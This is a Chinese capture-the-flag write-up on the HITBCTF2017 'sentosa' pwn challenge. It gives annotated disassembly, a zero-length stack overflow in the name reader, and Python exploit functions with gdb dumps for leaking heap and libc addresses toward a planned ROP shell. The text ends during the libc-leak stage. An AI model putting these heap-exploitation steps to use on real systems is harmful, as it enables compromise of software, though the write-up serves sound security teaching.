CTF-All-In-One/doc/6.1.18_pwn_hitbctf2017_sentosa.md
2018-08-05 17:43:10 +08:00

863 lines
40 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.18 pwn HITBCTF2017 Sentosa
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.18_pwn_hitbctf2017_sentosa)
## 题目复现
```text
$ file sentosa
sentosa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=556ed41f51d01b6a345af2ffc2a135f7f8972a5f, stripped
$ checksec -f sentosa
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 1 3 sentosa
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu4) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
```
保护全开,默认开启 ASLR。
在 Ubuntu-16.04 上玩一下:
```text
$ ./sentosa
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
1
Input length of your project name: 10
Input your project name: AAAA
Input your project price: 10
Input your project area: 10
Input your project capacity: 10
Your project is No.0
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
2
Project: AAAA
Price: 10
Area: 10
Capacity: 10
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
3
Not implemented yet
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
4
Input your projects number: 0
```
可以新增、查看和删除 project但修改功能还未实现这似乎意味着我们不能对堆进行修改。
现在我们给 length 输入 0 试试看:
```text
$ ./sentosa
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
1
Input length of your project name: 0
Input your project name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Input your project price: 10
Input your project area: 10
Input your project capacity: 10
Your project is No.0
*** stack smashing detected ***: ./sentosa terminated
[2] 5673 abort (core dumped) ./sentosa
```
造成了缓冲区溢出,可见字符串读取的函数肯定是存在问题的。
## 题目解析
下面我们依次来逆向这些函数。
### Start a project
```text
[0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0
/ (fcn) sub.There_are_too_much_projects_ca0 482
| sub.There_are_too_much_projects_ca0 ();
| ; UNKNOWN XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
| ; CALL XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
| 0x00000ca0 push r13
| 0x00000ca2 push r12
| 0x00000ca4 push rbp
| 0x00000ca5 push rbx
| 0x00000ca6 xor ebx, ebx ; ebx 作为序号 i初始化为 0
| 0x00000ca8 sub rsp, 0x88 ; buffer[0x88]
| 0x00000caf mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
| 0x00000cb8 mov qword [rsp + 0x78], rax
| 0x00000cbd xor eax, eax
| 0x00000cbf cmp dword [0x002020c0], 0x10 ; [0x002020c0] 存储当前数量 proj_num
| 0x00000cc6 lea rax, [0x00202040] ; 取出数组 projects
| ,=< 0x00000ccd jg 0xe80 ; proj_num 大于 0x10 时跳转
| | 0x00000cd3 nop dword [rax + rax]
| | ; JMP XREF from 0x00000cea (sub.There_are_too_much_projects_ca0)
| .--> 0x00000cd8 cmp qword [rax + rbx*8], 0 ; projects[i] 与 0 比较
| :| 0x00000cdd movsxd rbp, ebx
| ,===< 0x00000ce0 je 0xd10 ; projects[i] 为 0 时跳转
| |:| 0x00000ce2 add rbx, 1 ; 否则 i = i+1
| |:| 0x00000ce6 cmp rbx, 0x10
| |`==< 0x00000cea jne 0xcd8 ; i 不等于 0x10 时跳转(循环,目的是找到为 0 的 projects[i]
| | | 0x00000cec lea rsi, str.Error. ; 0x135b ; "Error." ; 否则打印出 Error
| | | 0x00000cf3 mov edi, 1
| | | 0x00000cf8 xor eax, eax
| | | 0x00000cfa call sym.imp.__printf_chk
| | | 0x00000cff xor edi, edi
| | | 0x00000d01 call sym.imp.exit ; void exit(int status)
| | 0x00000d06 nop word cs:[rax + rax]
| | | ; JMP XREF from 0x00000ce0 (sub.There_are_too_much_projects_ca0)
| `---> 0x00000d10 lea rsi, str.Input_length_of_your_project_name: ; 0x11f0 ; "Input length of your project name: "
| | 0x00000d17 mov edi, 1
| | 0x00000d1c xor eax, eax
| | 0x00000d1e call sym.imp.__printf_chk
| | 0x00000d23 lea rsi, [rsp + 0xc]
| | 0x00000d28 lea rdi, [0x00001309] ; "%d"
| | 0x00000d2f xor eax, eax
| | 0x00000d31 call sym.imp.__isoc99_scanf
| | 0x00000d36 movsxd rax, dword [rsp + 0xc] ; rax = length
| | 0x00000d3b cmp eax, 0x59 ; 'Y'
| ,==< 0x00000d3e ja 0xe70 ; 表示 length 不能大于 0x59
| || 0x00000d44 lea rdi, [rax + 0x15]
| || 0x00000d48 lea r13, [rsp + 0x10] ; r13 = rsp + 0x10
| || 0x00000d4d call sym.imp.malloc ; malloc(length+0x15) 分配 project
| || 0x00000d52 mov edx, dword [rsp + 0xc] ; 取出 length 到 edx
| || 0x00000d56 mov qword [rsp + 0x6a], rax ; 将 project 地址放到 [rsp + 0x6a]
| || 0x00000d5b mov ecx, 0xb
| || 0x00000d60 mov rdi, r13 ; rdi = rsp+0x10
| || 0x00000d63 lea rsi, str.Input_your_project_name: ; 0x12d4 ; "Input your project name: "
| || 0x00000d6a lea r12, [rax + rdx + 5] ; r12 = &project[length+5]
| || 0x00000d6f mov dword [rax], edx ; project->length = length
| || 0x00000d71 xor eax, eax ; eax = 0
| || 0x00000d73 rep stosq qword [rdi], rax ; 清空 buffer
| || 0x00000d76 xor edx, edx ; edx = 0
| || 0x00000d78 mov word [rdi], dx ; [rsp+0x10] = 0
| || 0x00000d7b mov edi, 1
| || 0x00000d80 call sym.imp.__printf_chk
| || 0x00000d85 mov esi, dword [rsp + 0xc] ; [0xc:4]=0
| || 0x00000d89 mov rdi, r13
| || 0x00000d8c call sub.read_bf0 ; 调用函数 read_bf0(rsp+0x10, length) 读入 name
| || 0x00000d91 mov rax, qword [rsp + 0x6a] ; rax 存放 project
| || 0x00000d96 movsxd rdx, dword [rsp + 0xc] ; [0xc:4]=0
| || 0x00000d9b mov rsi, r13
| || 0x00000d9e lea rdi, [rax + 4]
| || 0x00000da2 call sym.imp.strncpy ; strncpy(project+4, name, length),即将 name 复制到 project->name
| || 0x00000da7 lea rsi, str.Input_your_project_price: ; 0x12ee ; "Input your project price: "
| || 0x00000dae mov edi, 1
| || 0x00000db3 mov dword [r12], 1 ; project[length+5] = 1即 project->check
| || 0x00000dbb xor eax, eax
| || 0x00000dbd call sym.imp.__printf_chk
| || 0x00000dc2 lea rsi, [r12 + 4] ; rsi = project[length+5 + 4],即 project->price
| || 0x00000dc7 lea rdi, [0x00001309] ; "%d"
| || 0x00000dce xor eax, eax
| || 0x00000dd0 call sym.imp.__isoc99_scanf
| || 0x00000dd5 lea rsi, str.Input_your_project_area: ; 0x130c ; "Input your project area: "
| || 0x00000ddc mov edi, 1
| || 0x00000de1 xor eax, eax
| || 0x00000de3 call sym.imp.__printf_chk
| || 0x00000de8 lea rsi, [r12 + 8] ; rsi = project[length+5 + 8],即 project->area
| || 0x00000ded lea rdi, [0x00001309] ; "%d"
| || 0x00000df4 xor eax, eax
| || 0x00000df6 call sym.imp.__isoc99_scanf
| || 0x00000dfb lea rsi, str.Input_your_project_capacity: ; 0x1326 ; "Input your project capacity: "
| || 0x00000e02 mov edi, 1
| || 0x00000e07 xor eax, eax
| || 0x00000e09 call sym.imp.__printf_chk
| || 0x00000e0e lea rsi, [r12 + 0xc] ; rsi = project[length+5 + 12],即 project->capacity
| || 0x00000e13 lea rdi, [0x00001309] ; "%d"
| || 0x00000e1a xor eax, eax
| || 0x00000e1c call sym.imp.__isoc99_scanf
| || 0x00000e21 mov rdx, qword [rsp + 0x6a] ; 取出 project
| || 0x00000e26 lea rax, [0x00202040]
| || 0x00000e2d lea rsi, str.Your_project_is_No._d ; 0x1344 ; "Your project is No.%d\n"
| || 0x00000e34 mov edi, 1
| || 0x00000e39 mov qword [rax + rbp*8], rdx ; projects[i] = project放到数组中
| || 0x00000e3d mov edx, ebx
| || 0x00000e3f xor eax, eax
| || 0x00000e41 call sym.imp.__printf_chk
| || 0x00000e46 add dword [0x002020c0], 1 ; proj_num 加 1
| || ; JMP XREF from 0x00000e7c (sub.There_are_too_much_projects_ca0)
| || ; JMP XREF from 0x00000e8c (sub.There_are_too_much_projects_ca0)
| ..---> 0x00000e4d mov rax, qword [rsp + 0x78] ; [0x78:8]=0x400000003 ; 'x'
| ::|| 0x00000e52 xor rax, qword fs:[0x28]
| ,=====< 0x00000e5b jne 0xe8e
| |::|| 0x00000e5d add rsp, 0x88
| |::|| 0x00000e64 pop rbx
| |::|| 0x00000e65 pop rbp
| |::|| 0x00000e66 pop r12
| |::|| 0x00000e68 pop r13
| |::|| 0x00000e6a ret
|::|| 0x00000e6b nop dword [rax + rax]
| |::|| ; JMP XREF from 0x00000d3e (sub.There_are_too_much_projects_ca0)
| |::`--> 0x00000e70 lea rdi, str.Invalid_name_length ; 0x12bf ; "Invalid name length!"
| |:: | 0x00000e77 call sym.imp.puts ; int puts(const char *s)
| |`====< 0x00000e7c jmp 0xe4d
| : | 0x00000e7e nop
| | : | ; JMP XREF from 0x00000ccd (sub.There_are_too_much_projects_ca0)
| | : `-> 0x00000e80 lea rdi, str.There_are_too_much_projects ; 0x12a2 ; "There are too much projects!"
| | : 0x00000e87 call sym.imp.puts ; int puts(const char *s)
| | `===< 0x00000e8c jmp 0xe4d
| | ; JMP XREF from 0x00000e5b (sub.There_are_too_much_projects_ca0)
\ `-----> 0x00000e8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
```
通过上面的分析可以得到 project 结构体和 projects 数组:
```c
struct project {
int length;
char name[length];
int check;
int price;
int area;
int capacity;
} project;
struct project *projects[0x10];
```
projects 位于 `0x00202040`proj_num 位于 `0x002020c0`
用户输入的 length 必须小于 0x59使用 malloc(length+0x15) 分配一块堆空间作为 project然后调用 `read_buf0()` 读入 name 到栈上。读入 name 后将其复制到 project 中,然后将 check 置为 1最后再依次读入 price、area 和 capacity。
程序自己实现的 `read_bf0()` 函数如下:
```text
[0x00000a30]> pdf @ sub.read_bf0
/ (fcn) sub.read_bf0 148
| sub.read_bf0 ();
| ; var int local_0h @ rbp-0x0
| ; CALL XREF from 0x00000d8c (sub.There_are_too_much_projects_ca0)
| 0x00000bf0 push r14
| 0x00000bf2 push r13
| 0x00000bf4 push r12
| 0x00000bf6 push rbp
| 0x00000bf7 mov r12, rdi ; r12 存储 buffer 地址
| 0x00000bfa push rbx
| 0x00000bfb sub rsp, 0x10
| 0x00000bff mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
| 0x00000c08 mov qword [rsp + 8], rax
| 0x00000c0d xor eax, eax
| 0x00000c0f sub esi, 1 ; length 减 1
| ,=< 0x00000c12 je 0xc8a ; length 等于 0 时跳转
| | 0x00000c14 mov r13d, esi ; 否则继续
| | 0x00000c17 mov rbp, rdi ; rbp 存储 buffer 地址
| | 0x00000c1a xor ebx, ebx ; 循环计算 i初始化为 0
| | 0x00000c1c lea r14, [rsp + 7] ; 读入字符到 [rsp+7]
| ,==< 0x00000c21 jmp 0xc37
|| 0x00000c23 nop dword [rax + rax]
| || ; JMP XREF from 0x00000c4f (sub.read_bf0)
| .---> 0x00000c28 add ebx, 1 ; i = i + 1
| :|| 0x00000c2b mov byte [rbp], al ; 将字符放到 [rbp]
| :|| 0x00000c2e add rbp, 1 ; rbp = rbp + 1
| :|| 0x00000c32 cmp ebx, r13d
| ,====< 0x00000c35 je 0xc80 ; i 等于 length 时跳转
| |:|| ; JMP XREF from 0x00000c21 (sub.read_bf0)
| |:`--> 0x00000c37 xor edi, edi ; i 不等于 length 时循环继续
| |: | 0x00000c39 xor eax, eax
| |: | 0x00000c3b mov edx, 1
| |: | 0x00000c40 mov rsi, r14
| |: | 0x00000c43 call sym.imp.read ; read(0, rsp+7, 1) 每次读入一个字节
| |: | 0x00000c48 movzx eax, byte [rsp + 7] ; [0x7:1]=0
| |: | 0x00000c4d cmp al, 0xa ; 判断是否为 '\n'
| |`===< 0x00000c4f jne 0xc28 ; 不是 '\n' 时循环继续
| | | 0x00000c51 movsxd rbx, ebx ; 否则 rbx = i
| | | 0x00000c54 mov byte [r12 + rbx], 0 ; buffer[i] = 0即末尾加 '\x00'
| | | ; JMP XREF from 0x00000c88 (sub.read_bf0)
| | .--> 0x00000c59 mov rax, qword [rsp + 8] ; [0x8:8]=0
| | :| 0x00000c5e xor rax, qword fs:[0x28]
| |,===< 0x00000c67 jne 0xc8e
| ||:| 0x00000c69 add rsp, 0x10
| ||:| 0x00000c6d pop rbx
| ||:| 0x00000c6e pop rbp
| ||:| 0x00000c6f pop r12
| ||:| 0x00000c71 pop r13
| ||:| 0x00000c73 pop r14
| ||:| 0x00000c75 ret
||:| 0x00000c76 nop word cs:[rax + rax]
| ||:| ; JMP XREF from 0x00000c35 (sub.read_bf0)
| `----> 0x00000c80 movsxd rbx, ebx
| |:| ; JMP XREF from 0x00000c8c (sub.read_bf0)
| .----> 0x00000c83 mov byte [r12 + rbx], 0
| :|`==< 0x00000c88 jmp 0xc59
| :| | ; JMP XREF from 0x00000c12 (sub.read_bf0)
| :| `-> 0x00000c8a xor ebx, ebx
| `====< 0x00000c8c jmp 0xc83
| | ; JMP XREF from 0x00000c67 (sub.read_bf0)
\ `---> 0x00000c8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
```
正如我们一开始猜测的,这个函数是有问题的,如果输入 0 作为 length则 length-1能读入的实际长度 后得到一个负数,在循环判断时,负数永远不会等于一个正数,于是将读入任意长度的字符串(以`\n`结尾),造成缓冲区溢出。
字符串末尾会被加上 `\x00`,且开启了 Canary暂时还没想到如何利用继续往下看。另外特别注意 malloc 后得到的 project 的地址存放在 `rsp + 0x6a` 的位置。
### View all projects
```text
[0x00000a30]> pdf @ sub.Project:__s_ea0
/ (fcn) sub.Project:__s_ea0 191
| sub.Project:__s_ea0 (int arg_4h, int arg_8h, int arg_ch);
| ; arg int arg_4h @ rbp+0x4
| ; arg int arg_8h @ rbp+0x8
| ; arg int arg_ch @ rbp+0xc
| ; CALL XREF from 0x00001102 (sub.__isoc99_scanf_80 + 130)
| 0x00000ea0 push r12
| 0x00000ea2 push rbp
| 0x00000ea3 lea r12, [0x002020c0] ; 取出 &proj_num
| 0x00000eaa push rbx
| 0x00000eab lea rbx, [0x00202040] ; 取出 &projects
| 0x00000eb2 sub rsp, 0x10
| 0x00000eb6 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
| 0x00000ebf mov qword [rsp + 8], rax
| 0x00000ec4 xor eax, eax
| 0x00000ec6 nop word cs:[rax + rax]
| ; JMP XREF from 0x00000f3f (sub.Project:__s_ea0)
| .-> 0x00000ed0 mov rdx, qword [rbx] ; 取出此时开头的 project
| : 0x00000ed3 test rdx, rdx
| ,==< 0x00000ed6 je 0xf38 ; 该 project 为 0 时跳转
| |: 0x00000ed8 mov eax, dword [rdx]
| |: 0x00000eda lea rsi, str.Project:__s ; 0x1362 ; "Project: %s\n"
| |: 0x00000ee1 mov edi, 1
| |: 0x00000ee6 lea rbp, [rdx + rax + 5] ; rbp = project->check
| |: 0x00000eeb add rdx, 4 ; rdx = project->name
| |: 0x00000eef xor eax, eax
| |: 0x00000ef1 call sym.imp.__printf_chk ; 打印出 project->name
| |: 0x00000ef6 mov edx, dword [arg_4h] ; rdx = project->price
| |: 0x00000ef9 lea rsi, str.Price:__d ; 0x136f ; "Price: %d\n"
| |: 0x00000f00 mov edi, 1
| |: 0x00000f05 xor eax, eax
| |: 0x00000f07 call sym.imp.__printf_chk ; 打印出 project->price
| |: 0x00000f0c mov edx, dword [arg_8h] ; rdx = project->area
| |: 0x00000f0f lea rsi, str.Area:__d ; 0x137a ; "Area: %d\n"
| |: 0x00000f16 mov edi, 1
| |: 0x00000f1b xor eax, eax
| |: 0x00000f1d call sym.imp.__printf_chk ; 打印出 project->area
| |: 0x00000f22 mov edx, dword [arg_ch] ; rdx = project->capacity
| |: 0x00000f25 lea rsi, str.Capacity:__d ; 0x1384 ; "Capacity: %d\n"
| |: 0x00000f2c mov edi, 1
| |: 0x00000f31 xor eax, eax
| |: 0x00000f33 call sym.imp.__printf_chk ; 打印出 project->capacity
| |: ; JMP XREF from 0x00000ed6 (sub.Project:__s_ea0)
| `--> 0x00000f38 add rbx, 8 ; rbx += 8即 projects 向后移一个
| : 0x00000f3c cmp rbx, r12
| `=< 0x00000f3f jne 0xed0 ; &projects 不等于 &proj_num 时循环继续
| 0x00000f41 mov rax, qword [rsp + 8] ; [0x8:8]=0
| 0x00000f46 xor rax, qword fs:[0x28]
| ,=< 0x00000f4f jne 0xf5a
| | 0x00000f51 add rsp, 0x10
| | 0x00000f55 pop rbx
| | 0x00000f56 pop rbp
| | 0x00000f57 pop r12
| | 0x00000f59 ret
| | ; JMP XREF from 0x00000f4f (sub.Project:__s_ea0)
\ `-> 0x00000f5a call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
```
该函数用于打印出所有存在的 project 的信息。
### Cancel a project
```text
[0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60
/ (fcn) sub.There_are_no_project_to_cancel_f60 207
| sub.There_are_no_project_to_cancel_f60 ();
| ; CALL XREF from 0x000010e2 (sub.__isoc99_scanf_80 + 98)
| 0x00000f60 push rbx
| 0x00000f61 sub rsp, 0x10
| 0x00000f65 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
| 0x00000f6e mov qword [rsp + 8], rax
| 0x00000f73 xor eax, eax
| 0x00000f75 mov eax, dword [0x002020c0] ; 取出 proj_num
| 0x00000f7b test eax, eax
| ,=< 0x00000f7d jle 0x1010 ; proj_num 小于等于 0 时跳转
| | 0x00000f83 lea rsi, str.Input_your_projects_number: ; 0x1392 ; "Input your projects number: "
| | 0x00000f8a mov edi, 1
| | 0x00000f8f xor eax, eax
| | 0x00000f91 call sym.imp.__printf_chk
| | 0x00000f96 lea rsi, [rsp + 4]
| | 0x00000f9b lea rdi, [0x00001309] ; "%d"
| | 0x00000fa2 xor eax, eax
| | 0x00000fa4 call sym.imp.__isoc99_scanf ; 读入 i 到 rsp+4
| | 0x00000fa9 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102
| | 0x00000fae cmp eax, 0xf
| ,==< 0x00000fb1 ja 0x1000 ; i 大于 0xf 时函数返回
| || 0x00000fb3 lea rbx, [0x00202040] ; 取出 &projects
| || 0x00000fba mov rdi, qword [rbx + rax*8] ; 取出 projects[i]
| || 0x00000fbe test rdi, rdi
| ,===< 0x00000fc1 je 0x1000 ; projects[i] 为 0 时函数返回
| ||| 0x00000fc3 mov eax, dword [rdi]
| ||| 0x00000fc5 cmp dword [rdi + rax + 5], 1 ; 检查 projects[i]->check 是否为 1
| ,====< 0x00000fca jne 0x1023 ; 不为 1 时程序结束
| |||| 0x00000fcc call sym.imp.free ; free(projects[i]) 释放 project
| |||| 0x00000fd1 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102
| |||| 0x00000fd6 sub dword [0x002020c0], 1 ; proj_num 减 1
| |||| 0x00000fdd mov qword [rbx + rax*8], 0 ; projects[i] = 0 将其置 0
| |||| ; JMP XREF from 0x0000100c (sub.There_are_no_project_to_cancel_f60)
| |||| ; JMP XREF from 0x0000101c (sub.There_are_no_project_to_cancel_f60)
| ..-----> 0x00000fe5 mov rax, qword [rsp + 8] ; [0x8:8]=0
| ::|||| 0x00000fea xor rax, qword fs:[0x28]
| ,=======< 0x00000ff3 jne 0x101e
| |::|||| 0x00000ff5 add rsp, 0x10
| |::|||| 0x00000ff9 pop rbx
| |::|||| 0x00000ffa ret
|::|||| 0x00000ffb nop dword [rax + rax]
| |::|||| ; JMP XREF from 0x00000fb1 (sub.There_are_no_project_to_cancel_f60)
| |::|||| ; JMP XREF from 0x00000fc1 (sub.There_are_no_project_to_cancel_f60)
| |::|``--> 0x00001000 lea rdi, str.Invalid_number ; 0x13af ; "Invalid number!"
| |::| | 0x00001007 call sym.imp.puts ; int puts(const char *s)
| |`======< 0x0000100c jmp 0xfe5
| :| | 0x0000100e nop
| | :| | ; JMP XREF from 0x00000f7d (sub.There_are_no_project_to_cancel_f60)
| | :| `-> 0x00001010 lea rdi, str.There_are_no_project_to_cancel ; 0x1218 ; "There are no project to cancel!"
| | :| 0x00001017 call sym.imp.puts ; int puts(const char *s)
| | `=====< 0x0000101c jmp 0xfe5
| | | ; JMP XREF from 0x00000ff3 (sub.There_are_no_project_to_cancel_f60)
| `-------> 0x0000101e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00000fca (sub.There_are_no_project_to_cancel_f60)
| `----> 0x00001023 lea rdi, str.Corrupted_project ; 0x13bf ; "Corrupted project!"
| 0x0000102a call sym.imp.puts ; int puts(const char *s)
| 0x0000102f xor edi, edi
\ 0x00001031 call sym.imp.exit ; void exit(int status)
```
该函数首先检查 project->check 是否被修改不等于1如果没有则释放该 project并将 projects[i] 置 0。否则程序退出。这个函数似乎没有悬指针之类的问题。
## 漏洞利用
总结一下,就是在 `read_bf0()` 函数中存在一个栈溢出漏洞。
我们来看一下 `read_bf0()` 函数中的内存布局,假设分配一个这样的 project
```python
start_proj(0x4f, "A"*(0x4f-1), 2, 3, 4)
```
```text
gdb-peda$ x/22gx $rsp
0x7fffffffec70: 0x00007ffff7dd3780 0x0000004ff7b046e0
0x7fffffffec80: 0x4141414141414141 0x4141414141414141 <-- name
0x7fffffffec90: 0x4141414141414141 0x4141414141414141
0x7fffffffeca0: 0x4141414141414141 0x4141414141414141
0x7fffffffecb0: 0x4141414141414141 0x4141414141414141
0x7fffffffecc0: 0x4141414141414141 0x0000414141414141
0x7fffffffecd0: 0x0000000000000000 0x5555557570100000 <-- project address
0x7fffffffece0: 0x0000000000000000 0x38a9eb4968c1da00 <-- canary
0x7fffffffecf0: 0x000055555555529a 0x00005555555553f8
0x7fffffffed00: 0x00007fffffffed24 0x0000555555554a30
0x7fffffffed10: 0x00007fffffffee40 0x0000555555555117 <-- return address
gdb-peda$ x/g $rsp+0x6a
0x7fffffffecda: 0x0000555555757010 <-- project address
gdb-peda$ x/18gx *(void **)($rsp+0x6a)-0x10
0x555555757000: 0x0000000000000000 0x0000000000000071 <-- project chunk
0x555555757010: 0x414141410000004f 0x4141414141414141 <-- length <-- name
0x555555757020: 0x4141414141414141 0x4141414141414141
0x555555757030: 0x4141414141414141 0x4141414141414141
0x555555757040: 0x4141414141414141 0x4141414141414141
0x555555757050: 0x4141414141414141 0x4141414141414141
0x555555757060: 0x0000000100004141 0x0000000300000002 <-- check <-- price, area
0x555555757070: 0x0000000000000004 0x0000000000020f91 <-- capacity <-- top chunk
0x555555757080: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/18gx 0x555555756040
0x555555756040: 0x0000555555757010 0x0000000000000000 <-- projects
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num
```
所以其实在覆盖到 Canary 之前,我们是有一个 project 地址可以覆盖的,但由于 `read_bf0()` 会在字符串末尾加 `"\x00"`,所以我们只能够将地址的低位覆盖为 `"\x00"`。在新增 project 过程的最后,会将 project address 放到数组 projects 中,所以我们可以将覆盖后的 project address 放进数组。然后利用 View 的功能就可以打印出内容。
另外我们应该注意的是上面的 project address 是最后一次 malloc 返回的地址,即最后添加的 project 的 address。在上面的例子中如果我们将 project address 覆盖掉,则它指向了 project 的 chunk 头。所以我们可以将其指向一个被释放的 fastbin它的 fd 指针指向了 heap 上的一个地址,只要将其打印出来就可以通过计算得到 heap 基址。
得到了 heap 基址后,我们就可以将 project address 修改为任意的堆地址,从而读取任意信息。所以下一步我们从堆里得到 libc 地址,接着通过 libc 的 `__environ` 符号得到 stack 地址,最后就可以从栈上得到 Canary。构造 ROP 得到 shell。
### leak heap
```python
def leak_heap():
global heap_base
start_proj(0, 'A', 1, 1, 1) # 0
start_proj(0, 'A'*0x5a, 1, 1, 1) # 1
start_proj(0, 'A', 1, 1, 1) # 2
cancel_proj(2)
cancel_proj(0)
view_proj()
io.recvuntil("Capacity: ")
leak = int(io.recvline()[:-1], 10) & 0xffffffff
heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56
log.info("libc base: 0x%x" % heap_base)
```
首先分配 3 个 fast chunk其中第 2 个利用栈溢出修改 project address使其指向第 chunk 0。然后依次释放掉 chunk 2 和 chunk 0此时 chunk 0 的 fd 指向了 chunk 2
```text
gdb-peda$ x/18gx 0x555555756040
0x555555756040: 0x0000000000000000 0x0000555555757000 <-- projects
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num
gdb-peda$ x/16gx 0x555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 [be freed]
0x555555757010: 0x0000555555757040 0x0000010000000100 <-- fd pointer
0x555555757020: 0x0000000000000100 0x0000000000000021 <-- chunk 1
0x555555757030: 0x0000010000000000 0x0000010000000100
0x555555757040: 0x0000000000000100 0x0000000000000021 <-- chunk 2 [be freed]
0x555555757050: 0x0000000000000000 0x0000010000000100
0x555555757060: 0x0000000000000100 0x0000000000020fa1 <-- top chunk
0x555555757070: 0x0000000000000000 0x0000000000000000
```
然后 View 打印出来就得到了 heap 基址。这种构造方法还是有一点问题的,不能打印出最高位的 `0x55`,但我们知道这个值相对固定,所以直接加上就可以了。
### leak libc
```python
def leak_libc():
global libc_base
start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0
start_proj(0x50, '\x01', 1, 1, 1) # 2
start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3
start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4
start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5
cancel_proj(4)
view_proj()
for i in range(5):
io.recvuntil("Area: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Capacity: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
libc_base = leak_low + (leak_high<<32) - 0x3c3b78
log.info("libc base: 0x%x" % libc_base)
```
由于我们不能直接分配一个 small chunk所以需要构造一个 fake chunk。利用栈溢出修改 project address 可以做到这一点。另外还需要满足 libc free 的检查,还有 Cancel 过程中的 check。
首先分配 5 个 project其中最后两个利用漏洞修改了 project address使其指向 fake chunk。此时内存布局如下
```text
gdb-peda$ x/18gx 0x555555756040
0x555555756040: 0x0000555555757070 0x0000555555757000 <-- projects
0x555555756050: 0x00005555557570a0 0x0000555555757110
0x555555756060: 0x0000555555757090 0x000055555575708b
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000006 0x0000000000000000 <-- proj_num
gdb-peda$ x/50gx 0x555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
0x555555757010: 0x0000015500000000 0x0000010000000100
0x555555757020: 0x0000000000000100 0x0000000000000021
0x555555757030: 0x0000010000000000 0x0000010000000100
0x555555757040: 0x0000000000000100 0x0000000000000021
0x555555757050: 0x0000010000000000 0x0000010000000100
0x555555757060: 0x0000000000000100 0x0000000000000031 <-- chunk 0
0x555555757070: 0x000000410000000f 0x0000000000000000
0x555555757080: 0x0000000100000000 0x00000000000000d1 <-- fake chunk (chunk 4)
0x555555757090: 0x0000000000000064 0x0000000000000071 <-- chunk 2
0x5555557570a0: 0x0000000100000050 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000010000000000 0x0000010000000100
0x555555757100: 0x0000000000000100 0x0000000000000071 <-- chunk 3
0x555555757110: 0x4141414100000050 0x4141414141414141
0x555555757120: 0x4141414141414141 0x4141414141414141
